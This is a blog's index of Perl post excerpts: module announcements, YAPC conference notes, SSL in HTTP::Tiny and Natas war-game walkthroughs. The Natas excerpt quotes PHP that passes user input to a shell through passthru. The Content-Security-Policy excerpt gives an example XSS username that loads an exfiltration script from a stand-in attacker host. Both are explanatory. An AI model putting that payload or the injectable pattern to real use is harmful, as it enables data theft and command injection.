Perl on Hashbang.ca

Introducing Hack::Natas

Sun, 18 Aug 2013 15:23:00 -0400

Last Monday, I presented my solutions to the Natas server-side security war games at NSLUG. Afterwards, I spent some time to clean up my code, and I’ve now published it to CPAN as Hack::Natas, which comes with modules and scripts to solve level 15 and 16 in an automated way, plus walkthroughs for all the levels up to 17 written in Markdown (those are almost the same as my blog posts, so you’re not missing out by looking at only one or the other).

Server-side security war games: Part 16

Tue, 09 Jul 2013 08:48:00 -0400

This is the last level. We’re challenged with an improved version of level 9 – they’ve added additional “sanitation” to keep us out.

    if(preg_match('/[;|&`\'"]/',$key)) {
        print "Input contains an illegal character!";
    } else {
        passthru("grep -i \"$key\" dictionary.txt");
    }

Server-side security war games: Part 15

Sat, 06 Jul 2013 10:33:00 -0400

We’re nearly at the end! This is the 2nd-last level.

We know there is a users table, with columns “username” and “password”. This time, the code just checks that the username exists. There’s no way to print out the data we want. Instead, we’ll have to do something cleverer.

Introducing mvr: like mv, but clever

Fri, 19 Apr 2013 19:11:00 -0400

I wanted to move a large number of files from one directory to another, but the target directory already had many of the filenames already used. This is a common enough problem – digital cameras use DSC#, video downloaders often append numbers to get a unique filename, and so on. In both those examples, the sequence restarts if you empty the program’s work directory. So, you’ll end up with DSC0001.jpg every time you empty your camera’s memory card. If you’re trying to move such files into a single directory, you’ll get conflicts every time.

Instead of manually renaming the files before transferring them, I wrote a simple script to give each file a unique name in the destination directory.

Introducing Noose: just enough OO to hang yourself

Thu, 07 Feb 2013 01:26:00 -0400

Moose led to Mouse led to Moo led to Mo led finally to M, which gives you the least object-orientation possible, which is none at all. I quipped that Perl desperately needed a new OO module called Noose – just enough object orientation to hang yourself.

Planning a Content-Security-Policy with Dancer

Fri, 01 Feb 2013 10:06:00 -0400

The same-origin policy is a fundamental part of the security infrastructure of the web. It prevents a web site’s scripts from accessing and interacting with scripts used on other sites. This helps keep your data safe because if your bank’s website gives you some data, it can only be accessed by your bank’s website, and not by scripts from other websites.

That’s a nice theory, it’d be a shame if some evidence happened to it.

In the real world, attackers have found ways to get around the same-origin policy to gain access to data they’re not supposed to be able to access. For example, a web programmer might mistakenly include some user-provided input verbatim in the HTML of a webpage – perhaps a username. Well, if your username is <script type="text/javascript" src="http://evil.attacker.com/exfiltrate_browser_data.js"></script>, then how is the web browser supposed to know if that was intentionally put in the HTML of the page? Same-origin policies are insufficient in the face of programmer error. Enter Content Security Policy.

Automating server build-out with Module::Build

Thu, 08 Nov 2012 13:25:00 -0400

At Pythian, we have one application that is composed of several components, the deployment of which needs to conform to our slightly peculiar server setup. Until recently, this required manually deploying each component. I did this a couple weeks ago, and it took me something like 40 hours to figure out and complete. As I went, I started reading up on Module::Build, trying to figure out how to automate as much as possible. It turns out that this core module gives us a surprisingly powerful tool for customized deployment. First, it will help to understand a few aspects of how our code is deployed.

Problems with Perl's in-memory buffers

Sat, 15 Sep 2012 19:48:00 -0400

Perl does lots of things that make life easier, from postfix conditional and looping constructs, to DWIM-infused language design. One of interesting things I discovered when learning to open a file was that Perl can treat a scalar as an in-memory file:

my $string = "many\nlines\nof\ntext";
open my $in, '<', \$string;
while (<$in>) { print }

Mocking LWP::UserAgent properly

Thu, 26 Jul 2012 20:24:00 -0400

This is an update to an earlier post I wrote about the adventures I had in creating and using a mock LWP::UserAgent for testing purposes. The ever-vigilant mst overheard a conversation on the same topic, and jumped in. He pointed out that Test::MockObject (and everything using it) overrides UNIVERSAL::isa in a way that hides bugs. Because it can hide bugs, it is definitely not safe to use in a test suite, where you’re trying to uncover bugs.

Introducing File::Symlink::Atomic

Sat, 26 May 2012 00:39:00 -0400

In Tips & tricks from my 4 months at Pythian, I showed how to give a symlink a new target atomically. I wasn’t aware of any module to encapsulate that, so I quickly put together File::Symlink::Atomic.

This module is useful because it eliminates the need to know how to do this safely - simply use File::Symlink::Atomic and you get a drop-in replacement for CORE::symlink. It creates a temporary symlink (using File::Temp to get a unique pathname) pointing to your new target, then moves it into place with a rename call. On POSIX systems, the rename system call guarantees atomicity.

Tips & tricks from my 4 months at Pythian

Sat, 19 May 2012 21:15:00 -0400

After working with Yanick Champoux on a few little Perl projects here and there, we finally met face-to-face at YAPC::NA last summer. A few months later, when I was looking for a co-op position, I immediately thought of Pythian.

SSL security in HTTP::Tiny

Wed, 18 Apr 2012 16:47:00 -0400

I was asked to add SSL support to a client library, while also moving from home-grown manual HTTP code to a proper module. HTTP::Tiny was ideal because it is pure-Perl, a core module since 5.14 (so it’ll be maintained), and it’s just one .pm file, making it easy to ship.

An application server that supported SSL was provided for testing purposes, but the SSL certificate didn’t match the hostname – HTTP::Tiny correctly rejected connections. I needed to be able to control the settings sent to the underlying IO::Socket::SSL object used for the encrypted connection so I could turn off security features for testing. As I worked on that, David Golden offered invaluable feedback, which greatly improved the design of the features added to HTTP::Tiny.

As of 0.018, HTTP::Tiny is more configurable, and has a simple interface for easily making SSL connections more secure.

Wherein I realize the bliss of writing init scripts with Daemon::Control

Mon, 16 Apr 2012 16:59:00 -0400

Init scripts are annoying little things – almost entirely boilerplate. Here’s how I learned to stop struggling, and love Daemon::Control to control my daemons.

The module really is as simple as the synopsis – you describe the daemon, have it write an init script (which actually just runs your Daemon::Control script) for you, then update-rc.d and you’re golden. It really is that simple.

A pastebin with almost no user interface

Sun, 15 Apr 2012 10:07:00 -0400

I’ve always favoured pastebins that let you bin a paste and nothing more – p.defau.lt and sprunge.us spring to mind. I’ve made a Perl almost-clone of sprunge.us:

p.hashbang.ca (since retired) now runs WWW::Hashbang::Pastebin, a simple pastebin written with Dancer and DBIx::Class that does nothing but store your text and show it back to you. The only feature beyond that is if you append a +, you’ll get line numbering (no syntax highlighting). You can use an anchor to jump to any line (click the line number), and the number for that line will be highlighted.

Dist::Zilla::Plugin::Twitter gets an OAuth update

Mon, 02 Apr 2012 15:04:00 -0400

My pluginbundle for Dist::Zilla includes, among other things, the Twitter plugin so I can brag on Twitter every time I release a module. Mysteriously, it broke one day. Looking at the code, I realized that it was sending my username and password to authenticate. I remember being uneasy with that at the time I set it up, but I quickly forgot, and continued along blithely. OAuth is an authorization standard that allows users to avoid giving their username & password to a potentially-untrusted application. Using OAuth has been requested since 2011, and the 401 Unauthorized error I got indicates that now it is mandatory for Twitter.

David Golden offered to let me maintain the module, and I’m a sucker, so… :D

Mocking LWP::UserAgent

Fri, 23 Sep 2011 23:41:00 -0400

Important update: Don’t follow this advice, follow that advice!

chromatic mentioned how to use dependency injection in You’re Already Using Dependency Injection. Although I had read that when he posted it, I hadnt actually ever done it. That is, until today.

Trimming whitespace in gedit with Perl

Sun, 14 Aug 2011 00:03:00 -0400

With gedit plugins, you can turn this simple text editor into a lightweight IDE. It’s fast, has good syntax highlighting, and can have code completion, shell integration, and many similar feature you might expect from an IDE. One feature it lacked was trimming whitespace from files. I searched for plugins to do this, and found several, but none of them quite met my expectations, because none were configurable. I typically want my files to end with one and only one newline. Of course, the solution is Perl.

Revising perlopentut

Fri, 29 Jul 2011 01:16:00 -0400

At YAPC::NA 2011, I whined about the lack of codification of tribal knowledge in Perl. One area that’s ripe for fixing is the documentation on open. There’s a section in perlfunc for open, and a tutorial: perlopentut. That tutorial is where I’ve started my campaign to have the tutorials and FAQs give good advice.

YAPC::NA day three

Thu, 14 Jul 2011 10:00:00 -0400

Miyagawa strikes again

On day three (read about days one and two), I spent most of my time socializing and networking rather than attending talks.

YAPC::NA day two

Wed, 13 Jul 2011 10:00:00 -0400

If you haven’t already, read about day one.

Postmodern Module Packaging

I began day two with “Postmodern Module Packaging” with Ingy döt Net. This was a great comparison of the current module packaging toolchains, and a good introduction to a philosophy Ingy calls “Acmeism.”

YAPC::NA days zero and one

Tue, 12 Jul 2011 10:00:00 -0400

I doubt my recounting will be anywhere near as colourful as Yanick’s, but I think it’s worthwhile to share my experiences at YAPC::NA 2011.

My YAPC::NA 2011 lightning talk

Thu, 30 Jun 2011 01:37:00 -0400

Well, YAPC::NA 2011 in Asheville, NC is over, and I had the opportunity (after getting bumped around more than a couple times) to give a lightning talk as part of the final session. I had previously done a blog post on the subject, but I wanted to share some of my thoughts with a wider audience.

Human usability testers wanted

Sun, 27 Feb 2011 16:13:00 -0400

When I wrote 1App::perlhl1 a few weeks ago, I was mostly concerned with getting it working. I picked colours more-or-less at random, and I noted that I planned to tweak them to achieve better readability. I’d like to do some hallway usability testing – if you’re interested, please try cloning my git repository and playing with the branches. master has one colour scheme, and I created colour-2 and colour-3 to test two more schemes. Try them out & let me know what you find most easiest to read. If you want to play with the colouring yourself, I’d be happy to accept whichever one people find best. Thanks!

The death of tribal knowledge

Fri, 11 Feb 2011 17:03:00 -0400

Michael Schwern talks about Perl5’s shortcomings, and explains how perl5i can overcome many of them – it is a pragma to fix as much of Perl 5 as possible all at once. While I haven’t worked with perl5i much, I wanted to talk about something Schwern talked about that resonated with me, and that’s the concept of “tribal knowledge.”

CLI Perl syntax highlighter

Mon, 31 Jan 2011 11:10:00 -0400

Last night, someone posed a problem in #perl-help. They wanted to have syntax highlighting in their shell for Perl code. I immediately suggested that they use Pygments – I knew about it because I’d used it before, and I had experimented with the command line tool. But I was surprised there wasn’t already a Perl solution.

A Perl yardstick

Sun, 30 Jan 2011 12:50:00 -0400

chromatic identified some reasons why it is difficult to hire great Perl programmers, and then followed it up with some advice for hiring managers. They suggest a series of questions every good Perl programmer should be able to answer. I wanted to know how I stacked up.

OMG, is that WordPress?!

Sat, 29 Jan 2011 06:34:00 -0400

I’m a Perl guy. I like the language a lot – how it looks, how it works… Even if it isn’t perfect, I like it a lot. But I also love things that work, and Wordpress works.